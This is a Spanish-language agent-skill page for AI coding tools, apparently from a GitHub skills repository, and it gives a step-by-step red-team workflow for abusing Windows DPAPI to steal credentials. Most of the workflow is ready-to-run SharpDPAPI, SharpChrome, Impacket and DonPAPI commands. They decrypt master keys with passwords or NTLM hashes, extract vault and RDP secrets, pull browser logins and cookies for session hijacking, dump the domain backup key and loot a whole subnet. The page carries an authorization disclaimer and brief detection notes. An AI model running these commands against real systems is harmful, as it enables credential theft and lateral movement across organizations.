Communitygithub.com

Abusing DPAPI for Credential Access

Extrae y descifra secretos protegidos por DPAPI de Windows (Credential Manager, credenciales/cookies del navegador, credenciales Wi-Fi, claves de KeePass) en línea o fuera de línea usando SharpDPAPI, SharpChrome, Mimikatz o Impacket.

¿Qué es Abusing DPAPI for Credential Access?

Este skill detalla cómo los profesionales de seguridad ofensiva pueden abusar del mecanismo de cifrado DPAPI de Windows para recuperar secretos en texto plano, como credenciales guardadas de RDP y Credential Manager, inicios de sesión y cookies de navegadores (Chrome/Edge), credenciales Wi-Fi almacenadas en el Vault, claves maestras de KeePass y contraseñas de tareas programadas. Funciona en tres modos principales: online (ejecutando como el usuario objetivo, usando `CryptUnprotectData`), offline (con la contraseña o hash NTLM del usuario) y a nivel de dominio (con una clave de respaldo DPAPI extraída por un Administrador de Dominio). Las herramientas principales son SharpDPAPI, SharpChrome, Mimikatz e Impacket (para Linux). El skill es relevante para pruebas de penetración autorizadas, ejercicios de equipo rojo y validación de detecciones defensivas, y se mapea principalmente a las técnicas T1555.004, T1555.003 y T1003 de MITRE ATT&CK.

Compatible con~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-dpapi-for-credential-access

Preguntar en tu IA favorita

Abre un nuevo chat con esta habilidad de agente ya precargada.

Documentación

¿Qué hace Abusing DPAPI for Credential Access?

Aviso Legal: Este skill es solo para fines autorizados de pruebas de penetración, ejercicios de equipo rojo y educativos. Extraer credenciales de sistemas que no posee o para los cuales no tiene autorización por escrito expresa para realizar pruebas es ilegal y puede violar las leyes de fraude y abuso informático. Siempre opere dentro de reglas de enfrentamiento firmadas y documente cada acción.

Resumen

La API de Protección de Datos de Windows (DPAPI) es el servicio de cifrado simétrico integrado del sistema operativo que las aplicaciones utilizan para proteger secretos en reposo: credenciales guardadas de RDP y del Administrador de Credenciales de Windows, credenciales web y Wi-Fi en el Almacén de Credenciales (Vault), inicios de sesión y cookies guardados del navegador (Chrome/Edge), claves de KeePass, claves privadas de certificados y contraseñas de tareas programadas. DPAPI deriva una clave maestra por usuario (o por máquina) de la contraseña del usuario (o del secreto de la cuenta de máquina), y esa clave maestra cifra "blobs DPAPI" individuales. Las claves maestras cifradas residen en %APPDATA%\Microsoft\Protect\<SID>\ (usuario) y %WINDIR%\System32\Microsoft\Protect\ (máquina).

Los equipos rojos abusan de DPAPI para recuperar secretos en texto plano después de obtener un punto de apoyo, mapeando a la técnica T1555.004 (Credenciales de Almacenes de Contraseñas: Administrador de Credenciales de Windows) de MITRE ATT&CK. Hay tres rutas principales de descifrado:

  1. En línea / basado en contexto — ejecutando como el usuario objetivo, las APIs de DPAPI (CryptUnprotectData) descifran transparentemente los blobs del usuario. El flag /unprotect de SharpDPAPI utiliza esto.
  2. Fuera de línea con la contraseña del usuario o hash NTLM — descifra las claves maestras del usuario con /password: o /ntlm:, luego descifra los blobs fuera de línea (ideal para archivos triageados extraídos de un host).
  3. A nivel de dominio con la clave de respaldo DPAPI — los Administradores de Dominio pueden extraer la clave de respaldo RSA DPAPI del dominio (.pvk) una vez, y luego descifrar cualquier clave maestra de usuario del dominio, en línea o fuera de línea, con /pvk:.

Las herramientas canónicas son SharpDPAPI (GhostPack, un port a C# de la funcionalidad DPAPI de Mimikatz) para Windows, SharpChrome para secretos del navegador, y Mimikatz (dpapi::*) como la implementación original. En Linux, dpapi.py de Impacket y donpapi realizan triaje remoto/fuera de línea.

Cuándo Usar

  • Después de comprometer un host Windows donde el usuario tiene credenciales guardadas de RDP, navegador o del almacén que valga la pena cosechar para movimiento lateral.
  • Cuando posee la contraseña de un usuario o su hash NTLM y desea descifrar sus secretos protegidos por DPAPI fuera de línea.
  • Cuando tiene privilegios de Administrador de Dominio y desea obtener la clave de respaldo DPAPI del dominio para descifrar los datos protegidos de cualquier usuario en todo el entorno.
  • Al realizar triaje de directorios Credentials, Vault o Protect exfiltrados de imágenes de disco.
  • Durante ejercicios de equipo púrpura para validar la detección del acceso a claves maestras DPAPI y lecturas de LSASS/carpeta Protect.

Prerrequisitos

  • Un punto de apoyo autorizado (sesión interactiva, beacon o administración remota) en el host Windows objetivo.
  • Conocimiento del SID del usuario objetivo y uno de: la sesión del usuario, su contraseña, su hash NTLM o derechos de Administrador de Dominio para la clave de respaldo.
  • Herramientas (compilar desde el código fuente o usar binarios de lanzamiento; obtener solo de fuentes oficiales):
# SharpDPAPI / SharpChrome (GhostPack) — compilar con Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Abrir SharpDPAPI.sln y compilar Release, o:
msbuild SharpDPAPI.sln /p:Configuration=Release

# Mimikatz (implementación DPAPI original)
# https://github.com/gentilkiwi/mimikatz/releases

# Triaje remoto/fuera de línea en Linux (Impacket)
pipx install impacket            # proporciona dpapi.py / impacket-dpapi
pipx install donpapi             # https://github.com/login-securite/DonPAPI

Objetivos

  • Realizar triaje de un host en busca de blobs de credenciales, almacenes, RDP y certificados protegidos por DPAPI.
  • Descifrar claves maestras de usuario en línea (/unprotect), con una contraseña/hash, o con la clave de respaldo del dominio.
  • Recuperar secretos en texto plano del Administrador de Credenciales y del Almacén de Credenciales (Vault).
  • Extraer inicios de sesión y cookies guardados del navegador con SharpChrome.
  • Obtener y reutilizar la clave de respaldo DPAPI del dominio para descifrar en todo el entorno.

Mapeo MITRE ATT&CK

ID de TécnicaNombreTácticaRelevancia
T1555.004Credenciales de Almacenes de Contraseñas: Administrador de Credenciales de WindowsAcceso a CredencialesDPAPI protege las entradas del Administrador de Credenciales / Vault; descifrar claves maestras y blobs recupera estas credenciales almacenadas.
T1555.003Credenciales de Almacenes de Contraseñas: Credenciales de Navegadores WebAcceso a CredencialesSharpChrome descifra inicios de sesión, cookies y claves de estado de Chrome/Edge protegidos por DPAPI.
T1003Volcado de Credenciales del SOAcceso a CredencialesExtraer claves maestras / claves de respaldo es una forma de volcado de material de credenciales.

Flujo de Trabajo

1. Triaje del host en busca de blobs DPAPI

Ejecute el comando triage de SharpDPAPI en el contexto del usuario para enumerar automáticamente y (cuando sea posible) descifrar credenciales, almacenes, RDG/RDP y certificados:

# Triaje en línea en el contexto del usuario actual (usa CryptUnprotectData)
SharpDPAPI.exe triage /unprotect

# Triaje de máquina (requiere admin local / SYSTEM) para blobs con ámbito de máquina
SharpDPAPI.exe machinetriage

2. Descifrar claves maestras de usuario fuera de línea (contraseña o hash NTLM)

Si posee la contraseña o el hash del usuario, descifre sus claves maestras para obtener un mapeo {GUID}:SHA1 que pueda reutilizar contra blobs individuales:

# Descifrar todas las claves maestras del usuario actual/especificado con la contraseña
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple

# Descifrar claves maestras con el hash NTLM del usuario en lugar de la contraseña
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a

# La salida son líneas GUID:SHA1 — proporciónelas a los comandos de credenciales/almacenes

3. Recuperar secretos del Administrador de Credenciales y del Vault

Use el mapeo de claves maestras descifradas (o /pvk:) para descifrar las credenciales almacenadas y las entradas del Vault:

# Descifrar blobs del Administrador de Credenciales con un mapeo GUID:SHA1
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

# O apunte a una carpeta de Credenciales objetivo y descifre con la clave de respaldo del dominio
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk

# Descifrar entradas del Almacén de Credenciales (Vault)
SharpDPAPI.exe vaults /pvk:backupkey.pvk

4. Descifrar secretos de RDP, KeePass y certificados

# Contraseñas RDP guardadas en RDCMan.settings (contexto del usuario actual)
SharpDPAPI.exe rdg /unprotect

# Claves maestras de KeePass protegidas por DPAPI
SharpDPAPI.exe keepass /unprotect

# Claves privadas de certificados (exporta .pem usable con /showall para todos los almacenes)
SharpDPAPI.exe certificates /unprotect /showall

5. Extraer credenciales del navegador con SharpChrome

SharpChrome descifra inicios de sesión y cookies de Chrome/Edge. Chromium moderno usa una "clave de estado" de App-Bound que SharpChrome resuelve a través de DPAPI:

# Descifrar inicios de sesión guardados para el usuario actual
SharpChrome.exe logins /unprotect

# Descifrar cookies (útil para secuestro de sesión) en una carpeta objetivo
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk

# Resolver la clave de estado AES explícitamente
SharpChrome.exe statekeys /unprotect

6. Obtener la clave de respaldo DPAPI del dominio (Administrador de Dominio)

Con privilegios de Administrador de Dominio, recupere la clave privada de respaldo RSA DPAPI del dominio una vez. Esta clave descifra las claves maestras de cada usuario del dominio indefinidamente:

# Extraer y guardar la clave de respaldo del dominio como un archivo .pvk a través de la interfaz RPC MS-BKRP
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk

Luego descifre cualquier clave maestra de usuario fuera de línea con ella:

SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\

7. Triaje remoto / basado en Linux (Impacket / DonPAPI)

Desde una caja de operador Linux, coseche y descifre secretos DPAPI a través de hosts:

# Descifrar un único archivo de clave maestra con Impacket usando la clave de respaldo del dominio
impacket-dpapi masterkey -file <archivo_clave_maestra> -pvk backupkey.pvk

# Descifrar un blob de credencial con la clave maestra recuperada
impacket-dpapi credential -file <blob_credencial> -key 0x<clave_maestra_descifrada>

# Saqueo masivo remoto de DPAPI a través de hosts con DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24

Herramientas y Recursos

HerramientaPropósitoEnlace
SharpDPAPITriaje/descifrado DPAPI en Windows (C#)https://github.com/GhostPack/SharpDPAPI
SharpChromeDescifrado de inicios de sesión/cookies/claves de estado de Chromiumhttps://github.com/GhostPack/SharpDPAPI
MimikatzImplementación original de DPAPI (dpapi::*)https://github.com/gentilkiwi/mimikatz
Impacket dpapi.pyDescifrado DPAPI remoto/fuera de línea (Python)https://github.com/fortra/impacket
DonPAPISaqueo masivo remoto de DPAPIhttps://github.com/login-securite/DonPAPI
HackTricks DPAPIReferencia de técnicashttps://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html

Notas de Detección y OPSEC

  • El acceso a claves maestras y las lecturas de \Microsoft\Protect\ y \Microsoft\Credentials\ son detectables; backupkey activa una llamada RPC MS-BKRP al Controlador de Dominio (DC).
  • La ruta /unprotect (en línea) es la opción más sigilosa para un solo host, pero solo funciona como el usuario activo.
  • Los defensores deben monitorear el acceso de procesos a LSASS (Sysmon) y el acceso anómalo a las carpetas Protect/Credentials (DE.CM-01).

Criterios de Validación

  • Triaje del host realizado con SharpDPAPI triage / machinetriage.
  • Claves maestras de usuario descifradas mediante /unprotect, /password:, /ntlm: o /pvk:.
  • Secretos del Administrador de Credenciales y del Almacén de Credenciales recuperados.
  • Secretos de RDP / KeePass / certificados extraídos cuando estén presentes.
  • Inicios de sesión/cookies del navegador descifrados con SharpChrome.
  • Clave de respaldo DPAPI del dominio recuperada con Administrador de Dominio (si está dentro del alcance) y reutilizada fuera de línea.
  • Todos los secretos recuperados documentados con host/usuario de origen y adhesión a las ROE confirmada.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

Skills relacionados